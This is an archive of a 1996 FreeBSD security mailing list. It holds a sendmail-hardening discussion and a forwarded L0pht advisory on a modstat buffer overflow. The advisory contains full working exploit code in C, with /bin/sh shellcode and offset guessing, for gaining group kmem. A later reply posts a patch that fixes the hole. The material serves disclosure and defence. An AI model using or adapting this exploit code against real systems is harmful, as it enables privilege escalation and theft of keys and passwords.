From owner-freebsd-security Mon Dec 9 00:24:24 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id AAA17126 for security-outgoing; Mon, 9 Dec 1996 00:24:24 -0800 (PST) Received: from gw-nl1.philips.com (gw-nl1.philips.com [192.68.44.33]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id AAA17118 for ; Mon, 9 Dec 1996 00:24:21 -0800 (PST) Received: (from nobody@localhost) by gw-nl1.philips.com (8.6.10/8.6.10-0.994n-08Nov95) id JAA11389; Mon, 9 Dec 1996 09:24:10 +0100 Received: from unknown(130.139.36.3) by gw-nl1.philips.com via smap (V1.3+ESMTP) with ESMTP id sma011318; Mon Dec 9 09:23:35 1996 Received: from bsd.lss.cp.philips.com (bsd.lss.cp.philips.com [130.144.199.33]) by smtprelay.nl.cis.philips.com (8.6.10/8.6.10-1.2.1m-961122) with SMTP id JAA12223; Mon, 9 Dec 1996 09:23:34 +0100 Received: by bsd.lss.cp.philips.com (8.8.3/1.63) id JAA14084; Mon, 9 Dec 1996 09:23:34 +0100 (MET) From: guido@bsd.lss.cp.philips.com (Guido van Rooij) Message-Id: <199612090823.JAA14084@bsd.lss.cp.philips.com> Subject: Re: Strange behavior on 2.1.6 To: durham@w2xo.pgh.pa.us (Jim Durham) Date: Mon, 9 Dec 1996 09:23:34 +0100 (MET) Cc: freebsd-security@freebsd.org In-Reply-To: from Jim Durham at "Dec 7, 96 04:53:39 pm" X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jim Durham wrote: > I'm a newbie to this list. I seem to have found a problem in 2.1.6 > that allows someone logged in as a user to su to root without > password or much effort. This may possibly be due to some configuration > stuff here, but I thought I would report it. > > I assume I don't just give the details here? No. Encrypt them with the pgp key of the security officers and mail it to security-officer@freebsd.org You can find the key on ftp://freebsd.org/pub/CERT/ -Guido From owner-freebsd-security Mon Dec 9 10:06:23 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id KAA18821 for security-outgoing; Mon, 9 Dec 1996 10:06:23 -0800 (PST) Received: from itchy.atlas.com ([206.29.170.215]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id KAA18814 for ; Mon, 9 Dec 1996 10:06:21 -0800 (PST) Received: (from brantk@localhost) by itchy.atlas.com (8.8.0/8.8.0) id KAA11729 for security@freebsd.org; Mon, 9 Dec 1996 10:09:55 -0800 (PST) Message-Id: <199612091809.KAA11729@itchy.atlas.com> Subject: Running sendmail non-suid To: security@freebsd.org Date: Mon, 9 Dec 1996 10:09:55 -0800 (PST) Reply-To: bmk@pobox.com From: "Brant Katkansky" Reply-To: bmk@pobox.com X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm setting up an internet-connected mail hub, and I'd like to run sendmail not suid root. I won't be needing any ~/.forward nonsense, as this machine will have no users at all, and will only forward mail based on /etc/aliases. There will be no local mailboxes on this machine at all. My intention for running sendmail without suid set is so that I can hopefully avoid some of the security problems that we've seen with sendmail in the past. Ideally, what I'd like to do is have sendmail running as root only long enough to bind to the smtp port, and then give up root, never to have it back. Preferably, running as 'nobody' or some other 'safe' user. Has anyone actually done this? Any advice or gotchas to look out for? Am I insane for wanting to do this? -- Brant Katkansky (bmk@pobox.com, brantk@atlas.com) Software Engineer, ADC From owner-freebsd-security Mon Dec 9 11:49:24 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id LAA26637 for security-outgoing; Mon, 9 Dec 1996 11:49:24 -0800 (PST) Received: from mail.webspan.net (mail.webspan.net [206.154.70.7]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id LAA26626 for ; Mon, 9 Dec 1996 11:49:17 -0800 (PST) Received: from orion.webspan.net (orion.webspan.net [206.154.70.5]) by mail.webspan.net (8.7.5/8.7.3) with SMTP id OAA24594 for ; Mon, 9 Dec 1996 14:48:35 -0500 (EST) Date: Mon, 9 Dec 1996 14:48:35 -0500 (EST) From: Scanner To: freebsd-security@freebsd.org Subject: L0pht Advisory: modstat (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Just in case no one has seen this one yet im posting it, if you have sorry for the spam. ---------- Forwarded message ---------- Date: Mon, 9 Dec 1996 08:36:26 -0500 From: Who cares what the hell goes into a Gecos field anyway! To: Multiple recipients of list BUGTRAQ Subject: L0pht Advisory: modstat L0pht Security Advisory Advisory released Dec 9 1996 Application: modstat Vulnerability Scope: systems with the *BSD distribution of modstat sgid kmem Severity: Users can gain group kmem permissions and thus read DES keys, passwords, and in certain situations panic the machine (you know, the standard things you can do with group kmem perms). Author: mudge@l0pht.com Overview: Modstat is sgid kmem which is really handy to become if you feel like looking through /dev/mem and /dev/kmem (gee, wonder what you might want to do that for ). Like just about everything else under the sun it has a buffer overflow problem. The problem exists in the dostat() routine where an arbitrary sized string is shoved into sbuf.name through a strcpy(). It is also possible to panic many systems by reading through all memory. With memory mapped architectures you will set various flags for having read values and touched registers - since the system is expecting these registers to be in certain states, tripping them to other states can cause bizarre results can occur. A quick example is to md5 through your interface to memory and watch the confusion that can occur in certain systems ;-) So yes, in many cases being group kmem will let you shutdown a machine in a roundabout way... even with just Read-Only abilities. The difference between this and some other buffer overflow code is that this, much like my original syslog() code has to be placed "after" the saved stack frame since you only have under 57 bytes to deal with. However, we don't care that we might be munging the original args and environment vars now do we ;-). Care must still be taken to make sure the code does not contain NULL's as strcpy will end upon it's first NULL. mudge@l0pht.com --- Check out http://www.l0pht.com/advisories.html for other l0pht advisories --- /******************************************************************** * modstat buffer overflow code - mudge@l0pht.com * * 8/11/96 * * Done initially on FreeBSD as my BSDI box is down right now... * * sigh. It should work on any x86 arch with the standard *BSD * * implementation as they all use the same opcodes and operands. * * Go grab the splitvt code if you want this to work on Linux. * * * * try with offsets of -48, 7, 271, 326 with the way this is curr. * * setup. If these fail, brute force it . * * * * Many thanks to bitwrior for initially finding the code problem * * in modstat and pointing it out to me - It's always nice when * * someone hands you a bone to gnaw on without wanting * * anything in particular out of it [this I know 'cause he has no * * problems writing this sort of thing on his own]. * *******************************************************************/ #include #include long get_esp(void) { __asm__("movl %esp, %eax\n"); } main(int argc, char **argv) { int i, j, offset; char *bar, *foo; unsigned long *esp_plus = NULL; char mach_codes[] = "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh"; if (argc == 2) offset = atoi(argv[1]); else { fprintf(stderr, "Usage: %s offset\n", argv[0]); exit(1); } bar = malloc(4096); if (!bar){ printf("failed to malloc memory\n"); exit(1); } foo = bar; /* copy of original ptr */ esp_plus = (long *)bar; for(i=0; i < 24 ; i++) *(esp_plus++) = (get_esp() + offset); printf("Using offset (0x%x)\n", (get_esp() + offset)); bar = (char *)esp_plus; for(j=0; j< strlen(mach_codes); j++) *(bar++) = mach_codes[j]; *bar = 0; execl("/usr/bin/modstat", "modstat", "-n", foo, NULL); } From owner-freebsd-security Mon Dec 9 11:55:49 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id LAA26945 for security-outgoing; Mon, 9 Dec 1996 11:55:49 -0800 (PST) Received: from homeport.org (lighthouse.homeport.org [205.136.65.198]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id LAA26940 for ; Mon, 9 Dec 1996 11:55:45 -0800 (PST) Received: (adam@localhost) by homeport.org (8.6.9/8.6.9) id OAA03744; Mon, 9 Dec 1996 14:50:33 -0500 From: Adam Shostack Message-Id: <199612091950.OAA03744@homeport.org> Subject: Re: Running sendmail non-suid In-Reply-To: <199612091809.KAA11729@itchy.atlas.com> from Brant Katkansky at "Dec 9, 96 10:09:55 am" To: bmk@pobox.com Date: Mon, 9 Dec 1996 14:49:39 -0500 (EST) Cc: security@freebsd.org X-Mailer: ELM [version 2.4ME+ PL27 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Why not use smap from the fwtk (ftp.tis.com) to bind to port 25, and then process the queued mail with sendmail? Adam Brant Katkansky wrote: | I'm setting up an internet-connected mail hub, and I'd like to run | sendmail not suid root. I won't be needing any ~/.forward nonsense, | as this machine will have no users at all, and will only forward mail | based on /etc/aliases. There will be no local mailboxes on this machine | at all. | | My intention for running sendmail without suid set is so that I can | hopefully avoid some of the security problems that we've seen with | sendmail in the past. | | Ideally, what I'd like to do is have sendmail running as root only long | enough to bind to the smtp port, and then give up root, never to have | it back. Preferably, running as 'nobody' or some other 'safe' user. | | Has anyone actually done this? Any advice or gotchas to look out for? | Am I insane for wanting to do this? | | -- Brant Katkansky (bmk@pobox.com, brantk@atlas.com) | Software Engineer, ADC | -- "It is seldom that liberty of any kind is lost all at once." -Hume From owner-freebsd-security Mon Dec 9 12:41:33 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id MAA29103 for security-outgoing; Mon, 9 Dec 1996 12:41:33 -0800 (PST) Received: from itchy.atlas.com ([206.29.170.215]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id MAA29094 for ; Mon, 9 Dec 1996 12:41:25 -0800 (PST) Received: (from brantk@localhost) by itchy.atlas.com (8.8.0/8.8.0) id MAA13051; Mon, 9 Dec 1996 12:44:09 -0800 (PST) Message-Id: <199612092044.MAA13051@itchy.atlas.com> Subject: Re: Running sendmail non-suid To: adam@homeport.org (Adam Shostack) Date: Mon, 9 Dec 1996 12:44:09 -0800 (PST) Cc: bmk@pobox.com, security@freebsd.org Reply-To: bmk@pobox.com In-Reply-To: <199612091950.OAA03744@homeport.org> from Adam Shostack at "Dec 9, 96 02:49:39 pm" From: "Brant Katkansky" Reply-To: bmk@pobox.com X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk It's a possibility, but for various reasons that I am not at liberty to discuss, I'd like to avoid using any software with restrictive licensing policies. GNU LGPL is OK, GPL is probably OK, Berkeley is OK, anything else is very questionable. > Why not use smap from the fwtk (ftp.tis.com) to bind to port 25, and > then process the queued mail with sendmail? > > Adam > > > Brant Katkansky wrote: [about running sendmail non-suid] -- Brant Katkansky (bmk@pobox.com, brantk@atlas.com) Software Engineer, ADC From owner-freebsd-security Mon Dec 9 13:13:32 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id NAA00777 for security-outgoing; Mon, 9 Dec 1996 13:13:32 -0800 (PST) Received: from passer.osg.gov.bc.ca (0@passer.osg.gov.bc.ca [142.32.110.29]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id NAA00762 for ; Mon, 9 Dec 1996 13:13:29 -0800 (PST) Received: from localhost (15005@localhost [127.0.0.1]) by passer.osg.gov.bc.ca (8.8.4/8.6.10) with SMTP id NAA17991; Mon, 9 Dec 1996 13:11:56 -0800 (PST) From: Cy Schubert - ITSD Open Systems Group Message-Id: <199612092111.NAA17991@passer.osg.gov.bc.ca> X-Authentication-Warning: passer.osg.gov.bc.ca: 15005@localhost [127.0.0.1] didn't use HELO protocol Reply-to: cschuber@uumail.gov.bc.ca X-Mailer: MH X-Sender: cschuber To: bmk@pobox.com cc: security@freebsd.org Subject: Re: Running sendmail non-suid In-reply-to: Your message of "Mon, 09 Dec 96 10:09:55 PST." <199612091809.KAA11729@itchy.atlas.com> Date: Mon, 09 Dec 96 13:11:56 -0800 X-Mts: smtp Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I'm setting up an internet-connected mail hub, and I'd like to run > sendmail not suid root. I won't be needing any ~/.forward nonsense, > as this machine will have no users at all, and will only forward mail > based on /etc/aliases. There will be no local mailboxes on this machine > at all. > > My intention for running sendmail without suid set is so that I can > hopefully avoid some of the security problems that we've seen with > sendmail in the past. > > Ideally, what I'd like to do is have sendmail running as root only long > enough to bind to the smtp port, and then give up root, never to have > it back. Preferably, running as 'nobody' or some other 'safe' user. > > Has anyone actually done this? Any advice or gotchas to look out for? > Am I insane for wanting to do this? First you will need to create an smtp account. Next, chown /var/spool/mqueue, /var/mail, and /usr/sbin/sendmail to user smtp. Run a cronjob out of root's cron every 5 minutes to process the queue. Using this approach you'll manage to stop 95% of any attempts to use sendmail to gain access to root. There is still a possibility of gaining root with this setup if your smtp account is hacked. It would be a matter of creating a mail spool file to setup a setuid-root shell. The general consensus has usually been that this approach is less secure because it is easier to gain access to a user account than root. Regards, Phone: (250)387-8437 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: CSCHUBER@BCSC02.BITNET ITSD Internet: cschuber@uumail.gov.bc.ca cschuber@bcsc02.gov.bc.ca "Quit spooling around, JES do it." From owner-freebsd-security Mon Dec 9 13:44:32 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id NAA02549 for security-outgoing; Mon, 9 Dec 1996 13:44:32 -0800 (PST) Received: from brimstone.gage.com (brimstone.gage.com [205.217.2.10]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id NAA02544 for ; Mon, 9 Dec 1996 13:44:30 -0800 (PST) Received: (from mail@localhost) by brimstone.gage.com (8.8.4/8.8.4) id PAA10919; Mon, 9 Dec 1996 15:43:49 -0600 (CST) Received: from octopus.gage.com(158.60.57.50) by brimstone.gage.com via smap (V2.0beta) id xma010917; Mon, 9 Dec 96 15:43:30 -0600 Received: from squid.gage.com (squid [158.60.57.101]) by octopus.gage.com (8.7.5/8.7.3) with SMTP id PAA21826; Mon, 9 Dec 1996 15:34:21 -0600 (CST) Received: from schemer by squid.gage.com (NX5.67e/NX3.0S) id AA16236; Mon, 9 Dec 96 15:34:19 -0600 Message-Id: <9612092134.AA16236@squid.gage.com> Received: by schemer.gage.com (NX5.67g/NX3.0X) id AA01345; Mon, 9 Dec 96 15:34:30 -0600 Content-Type: text/plain Mime-Version: 1.0 (NeXT Mail 4.0 v146.2) In-Reply-To: <199612092111.NAA17991@passer.osg.gov.bc.ca> X-Nextstep-Mailer: Mail 3.3 (Enhance 1.3) Received: by NeXT.Mailer (1.146.2) From: Ben Black Date: Mon, 9 Dec 96 15:34:29 -0600 To: cschuber@uumail.gov.bc.ca Subject: Re: Running sendmail non-suid Cc: bmk@pobox.com, security@freebsd.org References: <199612092111.NAA17991@passer.osg.gov.bc.ca> Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >The general consensus has usually been that this approach is less secure >because it is easier to gain access to a user account than root. this still makes no sense at all. explain it, please. why would a user account managed just like the root account be any easier to hack? b3n From owner-freebsd-security Mon Dec 9 14:06:29 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id OAA04673 for security-outgoing; Mon, 9 Dec 1996 14:06:29 -0800 (PST) Received: from passer.osg.gov.bc.ca (0@passer.osg.gov.bc.ca [142.32.110.29]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id OAA04650 for ; Mon, 9 Dec 1996 14:06:24 -0800 (PST) Received: from localhost (15005@localhost [127.0.0.1]) by passer.osg.gov.bc.ca (8.8.4/8.6.10) with SMTP id OAA18326; Mon, 9 Dec 1996 14:04:51 -0800 (PST) From: Cy Schubert - ITSD Open Systems Group Message-Id: <199612092204.OAA18326@passer.osg.gov.bc.ca> X-Authentication-Warning: passer.osg.gov.bc.ca: 15005@localhost [127.0.0.1] didn't use HELO protocol Reply-to: cschuber@uumail.gov.bc.ca X-Mailer: MH X-Sender: cschuber To: Ben Black cc: cschuber@uumail.gov.bc.ca, bmk@pobox.com, security@freebsd.org Subject: Re: Running sendmail non-suid In-reply-to: Your message of "Mon, 09 Dec 96 15:34:29 CST." <9612092134.AA16236@squid.gage.com> Date: Mon, 09 Dec 96 14:04:50 -0800 X-Mts: smtp Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On the surface this appears be the case, however if you NFS export a filesystem that contains files owned by the smtp user, especially to a system where someone else has root, you open your system to root compromise. If you do manage all of your NFS clients, you will need to make the same change or risk being hacked via a setuid-root sendmail on the client. If NFS would map all administrative accounts to nobody, I think you might be reasonably safe. The only NFS server I know that does this is Linux NFS server. Regards, Phone: (250)387-8437 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: CSCHUBER@BCSC02.BITNET ITSD Internet: cschuber@uumail.gov.bc.ca cschuber@bcsc02.gov.bc.ca "Quit spooling around, JES do it." > >The general consensus has usually been that this approach is less secure > >because it is easier to gain access to a user account than root. > > this still makes no sense at all. explain it, please. why would a user > account managed just like the root account be any easier to hack? > > > > b3n From owner-freebsd-security Mon Dec 9 14:12:57 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id OAA05068 for security-outgoing; Mon, 9 Dec 1996 14:12:57 -0800 (PST) Received: from brimstone.gage.com (brimstone.gage.com [205.217.2.10]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id OAA05056 for ; Mon, 9 Dec 1996 14:12:53 -0800 (PST) Received: (from mail@localhost) by brimstone.gage.com (8.8.4/8.8.4) id QAA11165; Mon, 9 Dec 1996 16:12:22 -0600 (CST) Received: from octopus.gage.com(158.60.57.50) by brimstone.gage.com via smap (V2.0beta) id xma011163; Mon, 9 Dec 96 16:12:16 -0600 Received: from squid.gage.com (squid [158.60.57.101]) by octopus.gage.com (8.7.5/8.7.3) with SMTP id QAA21940; Mon, 9 Dec 1996 16:03:07 -0600 (CST) Received: from schemer by squid.gage.com (NX5.67e/NX3.0S) id AA16391; Mon, 9 Dec 96 16:03:06 -0600 Message-Id: <9612092203.AA16391@squid.gage.com> Received: by schemer.gage.com (NX5.67g/NX3.0X) id AA01380; Mon, 9 Dec 96 16:03:21 -0600 Content-Type: text/plain Mime-Version: 1.0 (NeXT Mail 4.0 v146.2) In-Reply-To: <199612092204.OAA18326@passer.osg.gov.bc.ca> X-Nextstep-Mailer: Mail 3.3 (Enhance 1.3) Received: by NeXT.Mailer (1.146.2) From: Ben Black Date: Mon, 9 Dec 96 16:03:20 -0600 To: cschuber@uumail.gov.bc.ca Subject: Re: Running sendmail non-suid Cc: bmk@pobox.com, security@freebsd.org References: <199612092204.OAA18326@passer.osg.gov.bc.ca> Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > On the surface this appears be the case, however if you NFS export a > filesystem that contains files owned by the smtp user, especially to a > system where someone else has root, you open your system to root > compromise. ah, NFS. say no more. i thought you meant in the context of a single machine. b3n From owner-freebsd-security Mon Dec 9 14:30:08 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id OAA06062 for security-outgoing; Mon, 9 Dec 1996 14:30:08 -0800 (PST) Received: from itchy.atlas.com ([206.29.170.215]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id OAA06045 for ; Mon, 9 Dec 1996 14:30:04 -0800 (PST) Received: (from brantk@localhost) by itchy.atlas.com (8.8.0/8.8.0) id OAA13422; Mon, 9 Dec 1996 14:33:30 -0800 (PST) Message-Id: <199612092233.OAA13422@itchy.atlas.com> Subject: Re: Running sendmail non-suid To: cschuber@uumail.gov.bc.ca Date: Mon, 9 Dec 1996 14:33:29 -0800 (PST) Cc: bmk@pobox.com, security@freebsd.org Reply-To: bmk@pobox.com In-Reply-To: <199612092111.NAA17991@passer.osg.gov.bc.ca> from Cy Schubert - ITSD Open Systems Group at "Dec 9, 96 01:11:56 pm" From: "Brant Katkansky" Reply-To: bmk@pobox.com X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > I'm setting up an internet-connected mail hub, and I'd like to run > > sendmail not suid root. I won't be needing any ~/.forward nonsense, > > as this machine will have no users at all, and will only forward mail > > based on /etc/aliases. There will be no local mailboxes on this machine > > at all. > > > > My intention for running sendmail without suid set is so that I can > > hopefully avoid some of the security problems that we've seen with > > sendmail in the past. > > > > Ideally, what I'd like to do is have sendmail running as root only long > > enough to bind to the smtp port, and then give up root, never to have > > it back. Preferably, running as 'nobody' or some other 'safe' user. > > > > Has anyone actually done this? Any advice or gotchas to look out for? > > Am I insane for wanting to do this? > > First you will need to create an smtp account. > > Next, chown /var/spool/mqueue, /var/mail, and /usr/sbin/sendmail to user > smtp. ^^^^^^^^^ Not necessary, no local mailboxes. > > Run a cronjob out of root's cron every 5 minutes to process the queue. > > Using this approach you'll manage to stop 95% of any attempts to use > sendmail to gain access to root. There is still a possibility of gaining > root with this setup if your smtp account is hacked. It would be a matter > of creating a mail spool file to setup a setuid-root shell. The general ^^^^^^^^^^^ > consensus has usually been that this approach is less secure because it is ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > easier to gain access to a user account than root. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ I'm curious as to the reasoning behind this statement. I've heard it before but never a full explaination. This particular machine is being designed to be specifically a mail relay, and nothing more. The only network connections it will allow via arbitrary addresses is via the smtp port(*). I understand that it is still possible for an unathorized user to execute commands via buffer overrun exploits, but they won't be able to do it as root. That'd require additional work. Or am I missing something here? I do not profess to be a security expert, but this seems to be a sensible approach for a mail relay. (*) Remote access (telnet only) will be permitted only via a few select (and highly trusted) IP addresses. I realize that this makes the system somewhat vulnerable to IP-spoofing, but some concessions had to be made. -- Brant Katkansky (bmk@pobox.com, brantk@atlas.com) Software Engineer, ADC From owner-freebsd-security Mon Dec 9 14:36:09 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id OAA06461 for security-outgoing; Mon, 9 Dec 1996 14:36:09 -0800 (PST) Received: from itchy.atlas.com ([206.29.170.215]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id OAA06456 for ; Mon, 9 Dec 1996 14:36:06 -0800 (PST) Received: (from brantk@localhost) by itchy.atlas.com (8.8.0/8.8.0) id OAA13473; Mon, 9 Dec 1996 14:37:27 -0800 (PST) Message-Id: <199612092237.OAA13473@itchy.atlas.com> Subject: Re: Running sendmail non-suid To: cschuber@uumail.gov.bc.ca Date: Mon, 9 Dec 1996 14:37:27 -0800 (PST) Cc: black@squid.gage.com, cschuber@uumail.gov.bc.ca, bmk@pobox.com, security@freebsd.org Reply-To: bmk@pobox.com In-Reply-To: <199612092204.OAA18326@passer.osg.gov.bc.ca> from Cy Schubert - ITSD Open Systems Group at "Dec 9, 96 02:04:50 pm" From: "Brant Katkansky" Reply-To: bmk@pobox.com X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > On the surface this appears be the case, however if you NFS export a > filesystem that contains files owned by the smtp user, especially to a > system where someone else has root, you open your system to root compromise. > > If you do manage all of your NFS clients, you will need to make the same > change or risk being hacked via a setuid-root sendmail on the client. > > If NFS would map all administrative accounts to nobody, I think you might be > reasonably safe. The only NFS server I know that does this is Linux NFS > server. No NFS here. The product requirements specifically forbid it. :) -- Brant Katkansky (bmk@pobox.com, brantk@atlas.com) Software Engineer, ADC From owner-freebsd-security Mon Dec 9 14:38:08 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id OAA06567 for security-outgoing; Mon, 9 Dec 1996 14:38:08 -0800 (PST) Received: from passer.osg.gov.bc.ca (0@passer.osg.gov.bc.ca [142.32.110.29]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id OAA06547 for ; Mon, 9 Dec 1996 14:37:47 -0800 (PST) Received: from localhost (15005@localhost [127.0.0.1]) by passer.osg.gov.bc.ca (8.8.4/8.6.10) with SMTP id OAA18521; Mon, 9 Dec 1996 14:36:09 -0800 (PST) From: Cy Schubert - ITSD Open Systems Group Message-Id: <199612092236.OAA18521@passer.osg.gov.bc.ca> X-Authentication-Warning: passer.osg.gov.bc.ca: 15005@localhost [127.0.0.1] didn't use HELO protocol Reply-to: cschuber@uumail.gov.bc.ca X-Mailer: MH X-Sender: cschuber To: bmk@pobox.com cc: cschuber@uumail.gov.bc.ca, security@freebsd.org Subject: Re: Running sendmail non-suid In-reply-to: Your message of "Mon, 09 Dec 96 14:33:29 PST." <199612092233.OAA13422@itchy.atlas.com> Date: Mon, 09 Dec 96 14:36:09 -0800 X-Mts: smtp Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > consensus has usually been that this approach is less secure because it is > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > > easier to gain access to a user account than root. > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > > I'm curious as to the reasoning behind this statement. I've heard it > before but never a full explaination. NFS! Please see my previous note about this. Regards, Phone: (250)387-8437 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: CSCHUBER@BCSC02.BITNET ITSD Internet: cschuber@uumail.gov.bc.ca cschuber@bcsc02.gov.bc.ca "Quit spooling around, JES do it." From owner-freebsd-security Mon Dec 9 16:02:40 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id QAA16501 for security-outgoing; Mon, 9 Dec 1996 16:02:40 -0800 (PST) Received: from irbs.irbs.com (jc@irbs.irbs.com [199.182.75.129]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id QAA16490 for ; Mon, 9 Dec 1996 16:02:36 -0800 (PST) Received: (from jc@localhost) by irbs.irbs.com (8.8.4/8.8.4) id TAA14112; Mon, 9 Dec 1996 19:02:32 -0500 (EST) Message-ID: Date: Mon, 9 Dec 1996 19:02:30 -0500 From: jc@irbs.com (John Capo) To: freebsd-security@freebsd.org Subject: Re: L0pht Advisory: modstat (fwd) References: X-Mailer: Mutt 0.51 Mime-Version: 1.0 X-Organization: IRBS Engineering, (954) 792-9551 In-Reply-To: ; from Scanner on Dec 9, 1996 14:48:35 -0500 Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Modstat does not need to be setgid kmem. Perhaps this is left over from when groveled around in /dev/kmem. Index: Makefile =================================================================== RCS file: /usr/cvs/src/usr.bin/modstat/Makefile,v retrieving revision 1.1.6.2 diff -u -r1.1.6.2 Makefile --- Makefile 1996/06/05 02:57:14 1.1.6.2 +++ Makefile 1996/12/09 22:28:01 @@ -38,7 +38,7 @@ PROG= modstat MAN8= modstat.8 -BINGRP= kmem -BINMODE=2555 +BINGRP= bin +BINMODE=555 .include Index: modstat.c =================================================================== RCS file: /usr/cvs/src/usr.bin/modstat/modstat.c,v retrieving revision 1.3 diff -u -r1.3 modstat.c --- modstat.c 1995/04/20 05:08:53 1.3 +++ modstat.c 1996/12/09 23:53:54 @@ -72,8 +72,9 @@ { struct lmc_stat sbuf; + bzero(&sbuf, sizeof (sbuf)); if (modname != NULL) - strcpy(sbuf.name, modname); + strncpy(sbuf.name, modname, sizeof (sbuf.name) - 1); sbuf.id = modnum; From owner-freebsd-security Mon Dec 9 16:26:19 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id QAA18687 for security-outgoing; Mon, 9 Dec 1996 16:26:19 -0800 (PST) Received: from pdx1.world.net (pdx1.world.net [192.243.32.18]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id QAA18682 for ; Mon, 9 Dec 1996 16:26:17 -0800 (PST) From: proff@suburbia.net Received: from suburbia.net (suburbia.net [203.4.184.1]) by pdx1.world.net (8.7.5/8.7.3) with SMTP id QAA10099 for ; Mon, 9 Dec 1996 16:26:41 -0800 (PST) Received: (qmail 15658 invoked by uid 110); 10 Dec 1996 00:11:54 -0000 Message-ID: <19961210001154.15657.qmail@suburbia.net> Subject: Re: Running sendmail non-suid In-Reply-To: <199612091809.KAA11729@itchy.atlas.com> from Brant Katkansky at "Dec 9, 96 10:09:55 am" To: bmk@pobox.com Date: Tue, 10 Dec 1996 11:11:54 +1100 (EST) Cc: security@freebsd.org X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I'm setting up an internet-connected mail hub, and I'd like to run > sendmail not suid root. I won't be needing any ~/.forward nonsense, > as this machine will have no users at all, and will only forward mail > based on /etc/aliases. There will be no local mailboxes on this machine > at all. Run Qmail, or use the obtuse smtpd wrapper. From owner-freebsd-security Mon Dec 9 16:50:39 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id QAA20067 for 